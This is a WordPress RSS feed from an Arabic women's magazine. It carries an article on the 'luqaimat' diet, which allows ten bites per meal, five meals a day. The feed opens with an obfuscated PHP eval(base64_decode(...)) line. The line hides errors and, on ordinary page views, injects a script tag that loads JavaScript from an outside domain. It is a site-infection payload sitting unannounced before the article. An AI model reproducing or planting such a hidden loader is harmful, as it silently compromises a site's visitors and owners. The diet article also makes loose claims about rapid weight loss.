eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | رجيم اللقيمات بالتفصيل https://jouzal.com مجلة نسائية عربية Tue, 20 Dec 2022 15:42:42 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | رجيم اللقيمات بالتفصيل https://jouzal.com 32 32 جدول وجبات بالصور.. رجيم اللقيمات بالتفصيل لخسارة 25 كيلو بدون حرمان أو جوع https://jouzal.com/%d8%ac%d8%af%d9%88%d9%84-%d9%88%d8%ac%d8%a8%d8%a7%d8%aa-%d8%a8%d8%a7%d9%84%d8%b5%d9%88%d8%b1-%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d9%84%d9%82%d9%8a%d9%85%d8%a7%d8%aa-%d8%a8%d8%a7%d9%84%d8%aa%d9%81/ Fri, 07 Jan 2022 09:30:42 +0000 https://jouzal.com/?p=6525 يرغب العديد من محبي اتباع الأنظمة الغذائية معرفة وجبات رجيم اللقيمات بالتفصيل او رجيم اللاحرمان كما يطلق عليه، هو ببساطه ان تأكل ما يحلو لك سواء اكل صحي او وجبات سريعة، حلو او حادق، تناول كل ما يحلو لك ومع ذلك تفقد وزن كبير، ولكن له شروطه مثله مثل اي برنامج غذائي آخر سنذكرها لكم بالتفصيل في الفقرات التالية.

شروط اتباع نظام اللقيمات

يجب تطبيق تلك الشروط عند اتباعك لرجيم اللقيمات بدون حرمان كالتالي:

  • لابد من تناول خمس وجبات باليوم .
  • بين كل وجبه والاخري ساعتين إلي 3ساعات.
  • الوجبة الواحدة عبارة عن 10 قضمات، لقيمات، أو شوكات من الطعام الذي ترغب بتناوله.
  • مثلا 10 شوكات من الكيك او بيتزا، او مكرونه.
  • لا يجب اتباعه اكثر من 3شهور متتاليه اذا اردت حياه صحيه وسليمه.

ملحوظة: لنجاح نظام اللقيمات يجب عليك مزج وجبات صحيه، ووجبات حرة باليوم الواحد ، تسهيلا عليكم يمكنكم اتباع جدول الوجبات الموضح بالبوست .

تابع ايضاً: الكيتو دايت بالتفصيل الممل لنسف دهون 30 كيلو | مميزات | أضرار | وجبات رجيم الكيتو

جدول وجبات رجيم اللقيمات بالتفصيل

يجب ان تعرف جيدا ان رجيم اللقيمات يترافق مع حساب سعراتك الحرارية بمعني لو جسمك يحتاج 1500 سعره، لذلك لابد من تناول لقيمات تعادل او اقل من هذا المعدل، لان بمجرد تناولك اكثر من 1500 سعره سيزداد وزنك لامحاله، فهو فقط نظام يسمح لك بتناول ما تريده لا الكميه التي تريدها.

ويعتبر نظام اللقيمات هو حيله تشجيعيه لضعفاء الاراده الواجب عليهم خساره الوزن، كما انه لا يناسب كل الحالات المرضيه مثل مرضي السكري او الكبد.

 

 

]]>